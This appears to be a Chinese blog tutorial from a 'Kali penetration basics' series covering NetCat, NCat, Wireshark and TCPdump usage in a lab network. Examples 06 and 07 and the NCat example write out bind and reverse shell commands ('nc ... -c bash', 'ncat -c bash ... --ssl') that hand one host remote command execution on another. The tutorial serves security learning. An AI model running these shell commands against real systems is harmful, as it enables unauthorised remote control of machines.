《Kali渗透基础》02. 基本工具

本文介绍了KaliLinux中用于渗透测试的基础工具,包括NetCat的基本用法,如命令参数、文本传输和端口扫描,以及增强版NCat的SSL/TLS加密功能。此外,还概述了网络抓包软件Wireshark和命令行工具TCPdump的使用,以及它们在数据捕获和分析中的作用。文章强调这些工具是实现目标的方法,详细使用指南可参考《安全工具录》。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >


title: 《Kali渗透基础》02. 基本工具
date: 2023-05-21 22:31:59
updated: 2023-10-12 10:23:48
categories: 学习记录:Kali渗透基础
excerpt: NetCat、NCat、WireShark、TCPdump 初步使用。
comments: false
tags:
top_image: /images/backimg/SunsetClimbing.png



本系列侧重方法论,各工具只是实现目标的载体。
命令与工具只做简单介绍,其使用另见《安全工具录》。

本文以 kali-linux-2022.3-vmware-amd64 为例。

1:基本工具

1.1:NetCat

NetCat(又称为 " nc ")被广泛用于计算机网络之间的数据传输和网络调试。允许用户通过 TCP 或 UDP 协议发送和接收数据。

功能描述

  • 网络工具中的瑞士军刀
  • 侦听模式/传输模式
  • 传输文本信息
  • 传输文件/目录
  • 远程控制/木马
  • 流媒体服务器
  • 远程克隆硬盘

NC 缺乏加密和身份验证的能力

不同系统或平台的 NetCat 命令不尽相同。

1.1.1:命令参数

基本语法
nc [选项]

常用选项

参数说明
-h显示帮助信息和参数选项。nc -h
-l监听模式,等待连接请求到达指定的端口。nc -l 5555
详见示例01
-p 端口指定要使用的端口号。
-v显示详细的输出信息。nc -v baidu.com 80
-n使用 IP 地址时不进行 DNS 反向解析。nc -n 1.1.1.20 5555
-q 数字指定连接建立或数据传输时的等待时间(单位:秒)。详见示例02
-z端口扫描,默认使用 TCP 协议,无需建立实际连接。可指定端口范围。
-u指定使用 UDP 协议进行数据传输。
-c 命令或shell执行命令。可用于远程控制。详见示例06、07

常用组合

参数组合说明
-nv主要用于建立连接nc -nv 1.1.1.20 3333
-nvzTCP 端口扫描nc -nvz 1.1.1.20 1-65535
-nvzuUDP 端口扫描nc -nvzu 1.1.1.20 1-1024

1.1.2:示例

  • 示例01:⽂本信息传输。

操作

先在一台主机上开启端口监听,再使用另一台主机连接。即可通信。

一、ubuntu(1.1.1.20):
nc -l -p 3333
二、kali(1.1.1.10):
nc -nv 1.1.1.20 3333

结果

在这里插入图片描述

  • 示例02:监听信息并保存。

操作

一、kali(1.1.1.10):
nc -l -p 3333 > ps.txt
二、ubuntu(1.1.1.20):
ps aux | nc -nv 1.1.1.10 3333 -q 1

结果

在 ubuntu 执行 ps aux 的结果会被保存在 kali 上的 ps.txt。且完成后一秒自动断开连接。

  • 示例03:主动传输文件。

操作

一、kali(1.1.1.10):
nc -lp 3333 > 1.txt
二、ubuntu(1.1.1.20):
nc -nv 1.1.1.10 3333 < 2.txt -q 1

结果

ubuntu 上的 2.txt 文件传输到 kali 并被保存为 1.txt。

  • 示例04:被动接收文件。

操作

一、kali(1.1.1.10):
nc -q 1 -lp 3333 < 1.txt
二、ubuntu(1.1.1.20):
nc -nv 1.1.1.10 3333 > 2.txt

结果

kali 上的 1.txt 文件被 ubuntu 接收并被保存为 2.txt。

  • 示例05:目录传输。

操作

一、ubuntu(1.1.1.20):
tar -cvf - /test/ | nc -lp 6666 -q 1
二、kali(1.1.1.10):
nc -nv 1.1.1.20 6666 | tar -xvf -

结果

ubuntu 上的 /test/ 目录传输到 kali 上。

  • 示例06:远程控制(被动连接)。

操作

一、ubuntu(1.1.1.20):
nc -lp 3333 -c bash
二、kali(1.1.1.10):
nc 1.1.1.20 3333

结果

ubuntu 被 kali 连接,kali 可远程执行 linux 命令。

注:Windows 用户可以把 bash 改成 cmd 。

  • 示例07:远程控制(主动连接)。

操作

一、kali(1.1.1.10):
nc -lp 3333
二、ubuntu(1.1.1.20):
nc 1.1.1.10 3333 -c bash

结果

ubuntu 主动连接 kali,kali 可远程执行 linux 命令。

1.2:NCat

NCat 是 Nmap 网络扫描器项目的一部分。可以视为 NetCat 工具的加强版。许多命令都与 NetCat 一致。

功能描述

  • 支持 SSL 和 TLS 加密协议。
  • 支持身份验证,包括基于用户名和密码的身份验证。

1.2.1:命令参数

基本语法
ncat [选项]

常用选项

NCat 许多命令都与 NetCat 一致。这里只列出特别的参数。

参数说明
--allow访问控制。限制允许连接的 IP 地址范围。详见示例01
--ssl使用 SSL/TLS 加密连接。详见示例01

1.2.2:示例

  • 示例01

操作

一、ubuntu(1.1.1.20):
ncat -c bash --allow 1.1.1.10 -vnlp 3333 --ssl
二、kali(1.1.1.10):
ncat -nv 1.1.1.20 3333 --ssl

结果

ubuntu 允许来自 IP 地址为 1.1.1.10 的主机连接。连接建立后执行 Bash 命令,并使用 SSL/TLS 加密进行连接。

1.3:WireShark

WireShark 是一款开源抓包软件,常用来检测网络问题、攻击溯源、或者分析底层通信机制(抓包嗅探、协议分析)。

基本使用方法

这里只介绍大致过程。具体细节网络教学很多。

  • 启动
  • 选择抓包网卡
  • 实时抓包
  • 保存或分析捕获文件
  • 首选项配置(添加展示信息,调整喜好的展示格式等)

筛选器
用于过滤数据包。

  • 抓包筛选器
  • 显示筛选器

常见协议包
需要熟悉常见协议数据包的分层结构。

数据流
有时一个请求涉及多个包,一个一个查看很麻烦。这时追踪数据流可以方便查看涉及到的数据包信息。(追踪流)

信息统计
WireShark 提供了一些信息统计功能。

  • 节点数
  • 协议分布
  • 包大小分布
  • 会话连接
  • 解码方式
  • 专家系统

1.4:TCPdump

TCPdump 是一款命令行抓包分析工具。Linux、Unix 系统默认安装。

1.4.1:命令参数

基本语法
tcpdump [选项]

常用选项

参数说明
-i 网络接口指定要监听的网络接口。tcpdump -i eth0
详见示例01
-s 数字指定捕获数据包的最大长度(单位:字节。0 表示抓取所有)。默认为 64。tcpdump -s 100
详见示例02
-w 文件将捕获的数据包写入文件。tcpdump -w test.pcap
详见示例02
-r 文件从文件中读取数据包进行分析。tcpdump -r test.pcap
详见示例05、06、07
-A以 ASCII 形式显示数据包内容。
-X以十六进制和 ASCII 形式显示数据包内容。详见示例06
-v[v][v]显示详细信息,“ v ” 越多越详细。
-n显示 IP 地址和端口号,不进行 DNS 解析。详见示例05、06
src host ip地址过滤条件。指定源主机。详见示例04、05
dst host ip地址过滤条件。指定目的主机。
port 端口过滤条件。指定端口。详见示例06、07
tcp过滤条件。指定 TCP 协议。tcpdump tcp
详见示例07
udp过滤条件。指定 UDP 协议。

过滤条件可用 “ or ” 和 “ and ” 连接。

除了以上基础筛选过滤条件之外,TCPdump 还提供了高级筛选

在这里插入图片描述

示例:

在这里插入图片描述

tcpdump -A -n 'tcp[13] = 24' -r http.cap

1.4.2:示例

  • 示例01:开启抓包

操作

tcpdump -i eth0

结果

在这里插入图片描述

  • 示例02:抓取数据包所有内容,并保存在 test.pcap 文件

tcpdump -i eth0 -s 0 -w test.pcap

  • 示例03:查看抓包文件摘要信息

tcpdump -r test.pcap

  • 示例04:抓取指定源地址的数据包

tcpdump src host 192.168.0.1 or src host 192.168.0.2

  • 示例05:查看抓包文件中指定源地址的信息。

tcpdump -n src host 145.254.160.237 -r test.pcap

  • 示例06:查看抓包文件中指定端口的信息,并以十六进制和 ASCII 形式显示数据包内容。

tcpdump -nX port 53 -r test.pcap

  • 示例07:查看抓包文件中指定 tcp 端口的信息。

tcpdump tcp port 53 -r test.pcap

2:其他

渗透测试中有时需要团队资源共享,因此需要一些软件来协助团队合作。

包括但不限于以下两点:

  • 数据文件共享

可以选择合适的软件以便于交换已获得的信息。

  • 重要数据加密

选择合适的软件对重要的数据文件(如获得的漏洞信息等)加密存储。以免泄露造成损失。


落花有意随流水,流水无心恋落花。

——《警世通言》(明)冯梦龙

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值